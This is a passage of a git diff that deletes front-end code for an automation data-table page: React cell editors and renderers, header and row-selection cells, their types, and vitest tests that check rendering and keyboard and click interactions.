-import {type ChangeEvent, type KeyboardEvent, useRef, useState} from 'react';
-
-import type {GridRowType} from '..';
-
-interface UseStringCellEditorProps {
-    columnName: string;
-    onRowChange: (row: GridRowType, commitChanges?: boolean) => void;
-    row: GridRowType;
-}
-
-interface UseStringCellEditorI {
-    handleCancel: () => void;
-    handleKeyDown: (event: KeyboardEvent<HTMLTextAreaElement>) => void;
-    handleOpenChange: (isOpen: boolean) => void;
-    handleSave: () => void;
-    handleTextChange: (event: ChangeEvent<HTMLTextAreaElement>) => void;
-    isOpen: boolean;
-    text: string;
-}
-
-export default function useStringCellEditor({
-    columnName,
-    onRowChange,
-    row,
-}: UseStringCellEditorProps): UseStringCellEditorI {
-    const cellValue = (row as Record<string, unknown>)[columnName];
-
-    const [isOpen, setIsOpen] = useState(true);
-    const [text, setText] = useState<string>(String((cellValue ?? '') as string));
-
-    const committedRef = useRef(false);
-
-    const handleSave = () => {
-        committedRef.current = true;
-
-        onRowChange({...row, [columnName]: text}, true);
-        setIsOpen(false);
-    };
-
-    const handleCancel = () => {
-        committedRef.current = true;
-
-        onRowChange(row, true);
-        setIsOpen(false);
-    };
-
-    const handleKeyDown = (event: KeyboardEvent<HTMLTextAreaElement>) => {
-        if (event.key === 'Enter' && event.shiftKey) {
-            event.stopPropagation();
-
-            return;
-        }
-
-        if (event.key === 'Enter') {
-            event.preventDefault();
-            event.stopPropagation();
-
-            handleSave();
-
-            return;
-        }
-
-        if (event.key === 'Escape') {
-            event.stopPropagation();
-
-            handleCancel();
-
-            return;
-        }
-    };
-
-    const handleOpenChange = (openState: boolean) => {
-        if (!openState && !committedRef.current) {
-            onRowChange(row, true);
-        }
-
-        setIsOpen(openState);
-    };
-
-    const handleTextChange = (event: ChangeEvent<HTMLTextAreaElement>) => {
-        setText(event.target.value);
-    };
-
-    return {
-        handleCancel,
-        handleKeyDown,
-        handleOpenChange,
-        handleSave,
-        handleTextChange,
-        isOpen,
-        text,
-    };
-}
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/index.ts b/client/src/pages/automation/datatable/components/cell-renderers/index.ts
deleted file mode 100644
index c1c1e5e9cd7..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/index.ts
+++ /dev/null
@@ -1,6 +0,0 @@
-export {createBooleanCellRenderer} from './BooleanCellRenderer';
-export {createDateCellRenderer, createDateEditCellRenderer} from './DateCellRenderer';
-export {createDateTimeCellRenderer, createDateTimeEditCellRenderer} from './DateTimeCellRenderer';
-export {createNumberEditCellRenderer} from './NumberCellRenderer';
-export {createStringEditCellRenderer} from './StringCellRenderer';
-export type {BooleanCellRendererProps, GridRowType, SummaryRowType} from './types';
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/tests/BooleanCellRenderer.test.tsx b/client/src/pages/automation/datatable/components/cell-renderers/tests/BooleanCellRenderer.test.tsx
deleted file mode 100644
index 6b22dfe28f5..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/tests/BooleanCellRenderer.test.tsx
+++ /dev/null
@@ -1,125 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {createBooleanCellRenderer} from '../BooleanCellRenderer';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('BooleanCellRenderer', () => {
-    const mockOnToggle = vi.fn();
-    const mockSetLocalRows = vi.fn();
-
-    const createRenderer = (columnName: string = 'isActive') => {
-        return createBooleanCellRenderer({
-            columnName,
-            onToggle: mockOnToggle,
-            setLocalRows: mockSetLocalRows,
-        });
-    };
-
-    describe('rendering', () => {
-        it('should return null for synthetic row (id: -1)', () => {
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '-1', isActive: true}} />);
-
-            expect(screen.queryByRole('checkbox')).not.toBeInTheDocument();
-        });
-
-        it('should render a checkbox', () => {
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: true}} />);
-
-            expect(screen.getByRole('checkbox')).toBeInTheDocument();
-        });
-
-        it('should render checked checkbox when value is true', () => {
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: true}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'checked');
-        });
-
-        it('should render unchecked checkbox when value is false', () => {
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: false}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'unchecked');
-        });
-
-        it('should render unchecked checkbox when value is undefined', () => {
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1'}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('data-state', 'unchecked');
-        });
-
-        it('should have correct aria-label', () => {
-            const BooleanRenderer = createRenderer('enabled');
-
-            render(<BooleanRenderer row={{enabled: true, id: '1'}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            expect(checkbox).toHaveAttribute('aria-label', 'Toggle enabled');
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call setLocalRows when toggled', async () => {
-            const user = userEvent.setup();
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: false}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockSetLocalRows).toHaveBeenCalled();
-        });
-
-        it('should call onToggle when toggled', async () => {
-            const user = userEvent.setup();
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: false}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnToggle).toHaveBeenCalledWith('1', 'isActive', true);
-        });
-
-        it('should toggle from true to false', async () => {
-            const user = userEvent.setup();
-            const BooleanRenderer = createRenderer();
-
-            render(<BooleanRenderer row={{id: '1', isActive: true}} />);
-
-            const checkbox = screen.getByRole('checkbox');
-
-            await user.click(checkbox);
-
-            expect(mockOnToggle).toHaveBeenCalledWith('1', 'isActive', false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/tests/DateCellRenderer.test.tsx b/client/src/pages/automation/datatable/components/cell-renderers/tests/DateCellRenderer.test.tsx
deleted file mode 100644
index 14e5dc8dd1e..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/tests/DateCellRenderer.test.tsx
+++ /dev/null
@@ -1,66 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {DateCellRenderer, createDateCellRenderer} from '../DateCellRenderer';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DateCellRenderer', () => {
-    describe('rendering', () => {
-        it('should render formatted date', () => {
-            render(<DateCellRenderer columnName="birthDate" row={{row: {birthDate: '2023-06-15', id: '1'}}} />);
-
-            expect(screen.getByText('2023-06-15')).toBeInTheDocument();
-        });
-
-        it('should render empty string when value is null', () => {
-            const {container} = render(
-                <DateCellRenderer columnName="birthDate" row={{row: {birthDate: null, id: '1'}}} />
-            );
-
-            expect(container.querySelector('span')).toHaveTextContent('');
-        });
-
-        it('should render empty string when value is undefined', () => {
-            const {container} = render(<DateCellRenderer columnName="birthDate" row={{row: {id: '1'}}} />);
-
-            expect(container.querySelector('span')).toHaveTextContent('');
-        });
-
-        it('should handle ISO date strings', () => {
-            render(
-                <DateCellRenderer columnName="createdAt" row={{row: {createdAt: '2023-12-25T10:30:00Z', id: '1'}}} />
-            );
-
-            expect(screen.getByText('2023-12-25')).toBeInTheDocument();
-        });
-
-        it('should render empty for invalid date strings', () => {
-            const {container} = render(
-                <DateCellRenderer columnName="date" row={{row: {date: 'not-a-date', id: '1'}}} />
-            );
-
-            // Invalid dates result in empty text (NaN check in component)
-            const span = container.querySelector('span');
-
-            expect(span).toBeInTheDocument();
-        });
-    });
-
-    describe('createDateCellRenderer factory', () => {
-        it('should create a renderer that displays formatted date', () => {
-            const DateRenderer = createDateCellRenderer('eventDate');
-
-            render(<DateRenderer row={{eventDate: '2024-01-15', id: '1'}} />);
-
-            expect(screen.getByText('2024-01-15')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/tests/DateTimeCellRenderer.test.tsx b/client/src/pages/automation/datatable/components/cell-renderers/tests/DateTimeCellRenderer.test.tsx
deleted file mode 100644
index ae47d643a4f..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/tests/DateTimeCellRenderer.test.tsx
+++ /dev/null
@@ -1,75 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {DateTimeCellRenderer, createDateTimeCellRenderer} from '../DateTimeCellRenderer';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DateTimeCellRenderer', () => {
-    describe('rendering', () => {
-        it('should render formatted datetime', () => {
-            render(
-                <DateTimeCellRenderer
-                    columnName="createdAt"
-                    row={{row: {createdAt: '2023-06-15T14:30:00Z', id: '1'}}}
-                />
-            );
-
-            // The exact format depends on timezone, so we check for date part
-            expect(screen.getByText(/2023-06-15/)).toBeInTheDocument();
-        });
-
-        it('should render empty string when value is null', () => {
-            const {container} = render(
-                <DateTimeCellRenderer columnName="createdAt" row={{row: {createdAt: null, id: '1'}}} />
-            );
-
-            expect(container.querySelector('span')).toHaveTextContent('');
-        });
-
-        it('should render empty string when value is undefined', () => {
-            const {container} = render(<DateTimeCellRenderer columnName="createdAt" row={{row: {id: '1'}}} />);
-
-            expect(container.querySelector('span')).toHaveTextContent('');
-        });
-
-        it('should handle ISO datetime strings with timezone', () => {
-            render(
-                <DateTimeCellRenderer
-                    columnName="updatedAt"
-                    row={{row: {id: '1', updatedAt: '2023-12-25T10:30:00+00:00'}}}
-                />
-            );
-
-            expect(screen.getByText(/2023-12-25/)).toBeInTheDocument();
-        });
-
-        it('should render empty for invalid datetime strings', () => {
-            const {container} = render(
-                <DateTimeCellRenderer columnName="timestamp" row={{row: {id: '1', timestamp: 'invalid'}}} />
-            );
-
-            // Invalid dates result in empty text (NaN check in component)
-            const span = container.querySelector('span');
-
-            expect(span).toBeInTheDocument();
-        });
-    });
-
-    describe('createDateTimeCellRenderer factory', () => {
-        it('should create a renderer that displays formatted datetime', () => {
-            const DateTimeRenderer = createDateTimeCellRenderer('eventTime');
-
-            render(<DateTimeRenderer row={{eventTime: '2024-01-15T09:00:00Z', id: '1'}} />);
-
-            expect(screen.getByText(/2024-01-15/)).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/tests/NumberCellRenderer.test.tsx b/client/src/pages/automation/datatable/components/cell-renderers/tests/NumberCellRenderer.test.tsx
deleted file mode 100644
index da35b66601e..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/tests/NumberCellRenderer.test.tsx
+++ /dev/null
@@ -1,94 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {NumberEditCell, createNumberEditCellRenderer} from '../NumberCellRenderer';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('NumberEditCell', () => {
-    const mockOnRowChange = vi.fn();
-
-    beforeEach(() => {
-        mockOnRowChange.mockClear();
-    });
-
-    describe('rendering', () => {
-        it('should render number input', () => {
-            render(
-                <NumberEditCell columnName="quantity" onRowChange={mockOnRowChange} row={{id: '1', quantity: 42}} />
-            );
-
-            expect(screen.getByRole('spinbutton')).toBeInTheDocument();
-        });
-
-        it('should display current value', () => {
-            render(
-                <NumberEditCell columnName="quantity" onRowChange={mockOnRowChange} row={{id: '1', quantity: 42}} />
-            );
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(42);
-        });
-
-        it('should display empty string for null value', () => {
-            render(
-                <NumberEditCell columnName="quantity" onRowChange={mockOnRowChange} row={{id: '1', quantity: null}} />
-            );
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(null);
-        });
-
-        it('should display empty string for undefined value', () => {
-            render(<NumberEditCell columnName="quantity" onRowChange={mockOnRowChange} row={{id: '1'}} />);
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(null);
-        });
-
-        it('should handle decimal numbers', () => {
-            render(<NumberEditCell columnName="price" onRowChange={mockOnRowChange} row={{id: '1', price: 19.99}} />);
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(19.99);
-        });
-
-        it('should handle negative numbers', () => {
-            render(
-                <NumberEditCell columnName="balance" onRowChange={mockOnRowChange} row={{balance: -100, id: '1'}} />
-            );
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(-100);
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call onRowChange on blur with commit', async () => {
-            const user = userEvent.setup();
-
-            render(
-                <NumberEditCell columnName="quantity" onRowChange={mockOnRowChange} row={{id: '1', quantity: 10}} />
-            );
-
-            const input = screen.getByRole('spinbutton');
-
-            await user.click(input);
-            await user.tab(); // Trigger blur
-
-            expect(mockOnRowChange).toHaveBeenCalledWith(expect.objectContaining({id: '1'}), true);
-        });
-    });
-
-    describe('createNumberEditCellRenderer factory', () => {
-        it('should create a renderer that accepts row props', () => {
-            const NumberRenderer = createNumberEditCellRenderer('amount');
-
-            render(<NumberRenderer onRowChange={mockOnRowChange} row={{amount: 100, id: '1'}} />);
-
-            expect(screen.getByRole('spinbutton')).toHaveValue(100);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/tests/StringCellRenderer.test.tsx b/client/src/pages/automation/datatable/components/cell-renderers/tests/StringCellRenderer.test.tsx
deleted file mode 100644
index e4c2aa9172e..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/tests/StringCellRenderer.test.tsx
+++ /dev/null
@@ -1,133 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {StringEditCell, createStringEditCellRenderer} from '../StringCellRenderer';
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('StringEditCell', () => {
-    const mockOnRowChange = vi.fn();
-
-    describe('rendering', () => {
-        it('should render the edit button trigger', () => {
-            render(<StringEditCell columnName="name" onRowChange={mockOnRowChange} row={{id: '1', name: 'Test'}} />);
-
-            expect(screen.getByRole('button', {name: /Edit text/i})).toBeInTheDocument();
-        });
-
-        it('should show popover with textarea when opened', () => {
-            render(
-                <StringEditCell
-                    columnName="description"
-                    onRowChange={mockOnRowChange}
-                    row={{description: 'Hello', id: '1'}}
-                />
-            );
-
-            // Popover is open by default
-            expect(screen.getByRole('textbox')).toBeInTheDocument();
-        });
-
-        it('should display current value in textarea', () => {
-            render(
-                <StringEditCell
-                    columnName="content"
-                    onRowChange={mockOnRowChange}
-                    row={{content: 'Current content', id: '1'}}
-                />
-            );
-
-            expect(screen.getByRole('textbox')).toHaveValue('Current content');
-        });
-
-        it('should display empty string for null value', () => {
-            render(<StringEditCell columnName="notes" onRowChange={mockOnRowChange} row={{id: '1', notes: null}} />);
-
-            expect(screen.getByRole('textbox')).toHaveValue('');
-        });
-
-        it('should display empty string for undefined value', () => {
-            render(<StringEditCell columnName="notes" onRowChange={mockOnRowChange} row={{id: '1'}} />);
-
-            expect(screen.getByRole('textbox')).toHaveValue('');
-        });
-
-        it('should have placeholder text with column name', () => {
-            render(<StringEditCell columnName="description" onRowChange={mockOnRowChange} row={{id: '1'}} />);
-
-            expect(screen.getByPlaceholderText('Enter description')).toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should update text state on typing', async () => {
-            const user = userEvent.setup();
-
-            render(<StringEditCell columnName="name" onRowChange={mockOnRowChange} row={{id: '1', name: ''}} />);
-
-            const textarea = screen.getByRole('textbox');
-
-            await user.type(textarea, 'New text');
-
-            expect(textarea).toHaveValue('New text');
-        });
-
-        it('should call onRowChange with new value on Enter', async () => {
-            const user = userEvent.setup();
-
-            render(<StringEditCell columnName="name" onRowChange={mockOnRowChange} row={{id: '1', name: ''}} />);
-
-            const textarea = screen.getByRole('textbox');
-
-            await user.type(textarea, 'Saved value');
-            await user.keyboard('{Enter}');
-
-            expect(mockOnRowChange).toHaveBeenCalledWith({id: '1', name: 'Saved value'}, true);
-        });
-
-        it('should allow shift+enter for newlines', async () => {
-            const user = userEvent.setup();
-
-            render(<StringEditCell columnName="name" onRowChange={mockOnRowChange} row={{id: '1', name: ''}} />);
-
-            const textarea = screen.getByRole('textbox');
-
-            await user.type(textarea, 'Line 1{Shift>}{Enter}{/Shift}Line 2');
-
-            expect(textarea).toHaveValue('Line 1\nLine 2');
-        });
-
-        it('should call onRowChange with original value on Escape', async () => {
-            const user = userEvent.setup();
-
-            render(
-                <StringEditCell columnName="name" onRowChange={mockOnRowChange} row={{id: '1', name: 'Original'}} />
-            );
-
-            const textarea = screen.getByRole('textbox');
-
-            await user.clear(textarea);
-            await user.type(textarea, 'Changed');
-            await user.keyboard('{Escape}');
-
-            expect(mockOnRowChange).toHaveBeenLastCalledWith({id: '1', name: 'Original'}, true);
-        });
-    });
-
-    describe('createStringEditCellRenderer factory', () => {
-        it('should create a renderer that accepts row props', () => {
-            const StringRenderer = createStringEditCellRenderer('title');
-
-            render(<StringRenderer onRowChange={mockOnRowChange} row={{id: '1', title: 'Test Title'}} />);
-
-            expect(screen.getByRole('textbox')).toHaveValue('Test Title');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/cell-renderers/types.ts b/client/src/pages/automation/datatable/components/cell-renderers/types.ts
deleted file mode 100644
index 1b0704617c8..00000000000
--- a/client/src/pages/automation/datatable/components/cell-renderers/types.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-import {Dispatch, SetStateAction} from 'react';
-
-export type GridRowType = {id: string} & Record<string, unknown>;
-
-export type SummaryRowType = object;
-
-export interface BooleanCellRendererProps {
-    columnName: string;
-    onToggle: (rowId: string, columnName: string, value: boolean) => void;
-    setLocalRows: Dispatch<SetStateAction<GridRowType[]>>;
-}
diff --git a/client/src/pages/automation/datatable/components/cells/ColumnHeaderCell.tsx b/client/src/pages/automation/datatable/components/cells/ColumnHeaderCell.tsx
deleted file mode 100644
index 131d056c61a..00000000000
--- a/client/src/pages/automation/datatable/components/cells/ColumnHeaderCell.tsx
+++ /dev/null
@@ -1,45 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
-import {MoreVertical} from 'lucide-react';
-
-interface ColumnHeaderCellProps {
-    columnId: string;
-    columnName: string;
-    onDelete: (columnId: string, columnName: string) => void;
-    onRename: (columnId: string, columnName: string) => void;
-}
-
-const ColumnHeaderCell = ({columnId, columnName, onDelete, onRename}: ColumnHeaderCellProps) => {
-    return (
-        <div className="relative flex items-center justify-center pr-8">
-            <span className="truncate text-center" title={columnName}>
-                {columnName}
-            </span>
-
-            <div className="absolute right-0">
-                <DropdownMenu>
-                    <DropdownMenuTrigger asChild>
-                        <Button
-                            aria-label={`Column ${columnName} menu`}
-                            icon={<MoreVertical className="size-4" />}
-                            variant="ghost"
-                        />
-                    </DropdownMenuTrigger>
-
-                    <DropdownMenuContent align="end">
-                        <DropdownMenuItem onClick={() => onRename(columnId, columnName)}>Rename</DropdownMenuItem>
-
-                        <DropdownMenuItem
-                            className="text-content-destructive focus:text-content-destructive-primary"
-                            onClick={() => onDelete(columnId, columnName)}
-                        >
-                            Delete
-                        </DropdownMenuItem>
-                    </DropdownMenuContent>
-                </DropdownMenu>
-            </div>
-        </div>
-    );
-};
-
-export default ColumnHeaderCell;
diff --git a/client/src/pages/automation/datatable/components/cells/RowIdCell.tsx b/client/src/pages/automation/datatable/components/cells/RowIdCell.tsx
deleted file mode 100644
index 10a79efe7b9..00000000000
--- a/client/src/pages/automation/datatable/components/cells/RowIdCell.tsx
+++ /dev/null
@@ -1,93 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Checkbox} from '@/components/ui/checkbox';
-import {Plus} from 'lucide-react';
-import {type Dispatch, type SetStateAction} from 'react';
-
-import {type GridRowType} from '../cell-renderers';
-import useRowIdCell from './hooks/useRowIdCell';
-
-interface RowIdCellProps {
-    hoveredRowId: string | null;
-    onAddRow: () => void;
-    onSelectedRowsChange: (rows: ReadonlySet<string>) => void;
-    row: GridRowType;
-    rowIdx: number;
-    selectedRows: ReadonlySet<string>;
-    setHoveredRowId: Dispatch<SetStateAction<string | null>>;
-}
-
-const RowIdCell = ({
-    hoveredRowId,
-    onAddRow,
-    onSelectedRowsChange,
-    row,
-    rowIdx,
-    selectedRows,
-    setHoveredRowId,
-}: RowIdCellProps) => {
-    const rowId = row.id;
-
-    const {
-        handleCheckboxClick,
-        handleCheckedChange,
-        handleKeyDown,
-        handleMouseEnter,
-        handleMouseLeave,
-        handleToggleRow,
-        isSelected,
-    } = useRowIdCell({
-        onSelectedRowsChange,
-        rowId,
-        selectedRows,
-        setHoveredRowId,
-    });
-
-    // Synthetic last row: show the "+ Add row" button
-    if (rowId === '-1') {
-        return (
-            <div className="flex h-full w-full items-center justify-center">
-                <Button
-                    icon={<Plus className="mr-1 size-4" />}
-                    onClick={onAddRow}
-                    size="icon"
-                    title="Add row"
-                    variant="ghost"
-                />
-            </div>
-        );
-    }
-
-    const showCheckbox = isSelected || hoveredRowId === rowId;
-
-    // Use rowIdx directly instead of O(n) findIndex
-    const rowNumber = rowIdx + 1;
-
-    return (
-        <div
-            className="flex w-full items-center justify-center gap-2 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-1"
-            onClick={handleToggleRow}
-            onKeyDown={handleKeyDown}
-            onMouseEnter={handleMouseEnter}
-            onMouseLeave={handleMouseLeave}
-            role="button"
-            tabIndex={0}
-            title={`Row ${rowNumber}`}
-        >
-            {showCheckbox ? (
-                <Checkbox
-                    aria-label={`Select row ${rowNumber}`}
-                    checked={isSelected}
-                    className="size-4 cursor-pointer"
-                    onCheckedChange={handleCheckedChange}
-                    onClick={handleCheckboxClick}
-                />
-            ) : (
-                <span aria-hidden="true" className="select-none text-xs text-muted-foreground">
-                    {rowNumber}
-                </span>
-            )}
-        </div>
-    );
-};
-
-export default RowIdCell;
diff --git a/client/src/pages/automation/datatable/components/cells/SelectAllHeaderCell.tsx b/client/src/pages/automation/datatable/components/cells/SelectAllHeaderCell.tsx
deleted file mode 100644
index 84bb7e7fb57..00000000000
--- a/client/src/pages/automation/datatable/components/cells/SelectAllHeaderCell.tsx
+++ /dev/null
@@ -1,36 +0,0 @@
-import {Checkbox} from '@/components/ui/checkbox';
-
-interface IndeterminateCheckboxProps {
-    ariaLabel?: string;
-    checked: boolean;
-    indeterminate: boolean;
-    onChange: (checked: boolean) => void;
-}
-
-export const IndeterminateCheckbox = ({ariaLabel, checked, indeterminate, onChange}: IndeterminateCheckboxProps) => (
-    <Checkbox
-        aria-label={ariaLabel}
-        checked={indeterminate ? 'indeterminate' : checked}
-        className="size-4 cursor-pointer"
-        onCheckedChange={(value) => onChange(value === true)}
-    />
-);
-
-interface SelectAllHeaderCellProps {
-    allSelected: boolean;
-    onToggleSelectAll: (checked: boolean) => void;
-    someSelected: boolean;
-}
-
-const SelectAllHeaderCell = ({allSelected, onToggleSelectAll, someSelected}: SelectAllHeaderCellProps) => (
-    <div className="flex w-full items-center justify-center">
-        <IndeterminateCheckbox
-            ariaLabel="Select all rows"
-            checked={allSelected}
-            indeterminate={someSelected}
-            onChange={onToggleSelectAll}
-        />
-    </div>
-);
-
-export default SelectAllHeaderCell;
diff --git a/client/src/pages/automation/datatable/components/cells/hooks/tests/useRowIdCell.test.ts b/client/src/pages/automation/datatable/components/cells/hooks/tests/useRowIdCell.test.ts
deleted file mode 100644
index 397a0ca3c47..00000000000
--- a/client/src/pages/automation/datatable/components/cells/hooks/tests/useRowIdCell.test.ts
+++ /dev/null
@@ -1,242 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {type KeyboardEvent, type MouseEvent} from 'react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useRowIdCell from '../useRowIdCell';
-
-describe('useRowSelectionCell', () => {
-    const mockOnSelectedRowsChange = vi.fn();
-    const mockSetHoveredRowId = vi.fn();
-
-    const defaultProps = {
-        onSelectedRowsChange: mockOnSelectedRowsChange,
-        rowId: 'row-1',
-        selectedRows: new Set<string>(),
-        setHoveredRowId: mockSetHoveredRowId,
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('returns isSelected as false when row is not selected', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            expect(result.current.isSelected).toBe(false);
-        });
-
-        it('returns isSelected as true when row is selected', () => {
-            const props = {
-                ...defaultProps,
-                selectedRows: new Set(['row-1']),
-            };
-
-            const {result} = renderHook(() => useRowIdCell(props));
-
-            expect(result.current.isSelected).toBe(true);
-        });
-    });
-
-    describe('handleToggleRow', () => {
-        it('adds row to selection when not selected', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            act(() => {
-                result.current.handleToggleRow();
-            });
-
-            expect(mockOnSelectedRowsChange).toHaveBeenCalledTimes(1);
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(true);
-        });
-
-        it('removes row from selection when selected', () => {
-            const props = {
-                ...defaultProps,
-                selectedRows: new Set(['row-1', 'row-2']),
-            };
-
-            const {result} = renderHook(() => useRowIdCell(props));
-
-            act(() => {
-                result.current.handleToggleRow();
-            });
-
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(false);
-            expect(newSelection.has('row-2')).toBe(true);
-        });
-
-        it('preserves other selections when toggling', () => {
-            const props = {
-                ...defaultProps,
-                selectedRows: new Set(['row-2', 'row-3']),
-            };
-
-            const {result} = renderHook(() => useRowIdCell(props));
-
-            act(() => {
-                result.current.handleToggleRow();
-            });
-
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(true);
-            expect(newSelection.has('row-2')).toBe(true);
-            expect(newSelection.has('row-3')).toBe(true);
-        });
-    });
-
-    describe('handleKeyDown', () => {
-        it('toggles selection on Enter key', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-            const event = {
-                key: 'Enter',
-                preventDefault: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLDivElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(event.preventDefault).toHaveBeenCalled();
-            expect(mockOnSelectedRowsChange).toHaveBeenCalled();
-        });
-
-        it('toggles selection on Space key', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-            const event = {
-                key: ' ',
-                preventDefault: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLDivElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(event.preventDefault).toHaveBeenCalled();
-            expect(mockOnSelectedRowsChange).toHaveBeenCalled();
-        });
-
-        it('does nothing on other keys', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-            const event = {
-                key: 'Tab',
-                preventDefault: vi.fn(),
-            } as unknown as KeyboardEvent<HTMLDivElement>;
-
-            act(() => {
-                result.current.handleKeyDown(event);
-            });
-
-            expect(event.preventDefault).not.toHaveBeenCalled();
-            expect(mockOnSelectedRowsChange).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleCheckedChange', () => {
-        it('adds row to selection when checked is true', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            act(() => {
-                result.current.handleCheckedChange(true);
-            });
-
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(true);
-        });
-
-        it('removes row from selection when checked is false', () => {
-            const props = {
-                ...defaultProps,
-                selectedRows: new Set(['row-1']),
-            };
-
-            const {result} = renderHook(() => useRowIdCell(props));
-
-            act(() => {
-                result.current.handleCheckedChange(false);
-            });
-
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(false);
-        });
-
-        it('removes row from selection when checked is indeterminate', () => {
-            const props = {
-                ...defaultProps,
-                selectedRows: new Set(['row-1']),
-            };
-
-            const {result} = renderHook(() => useRowIdCell(props));
-
-            act(() => {
-                result.current.handleCheckedChange('indeterminate');
-            });
-
-            const newSelection = mockOnSelectedRowsChange.mock.calls[0][0];
-
-            expect(newSelection.has('row-1')).toBe(false);
-        });
-    });
-
-    describe('handleMouseEnter', () => {
-        it('sets hovered row id', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            act(() => {
-                result.current.handleMouseEnter();
-            });
-
-            expect(mockSetHoveredRowId).toHaveBeenCalledWith('row-1');
-        });
-    });
-
-    describe('handleMouseLeave', () => {
-        it('clears hovered row id when current id matches', () => {
-            const {result} = renderHook(() => useRowIdCell(defaultProps));
-
-            act(() => {
-                result.current.handleMouseLeave();
-            });
-
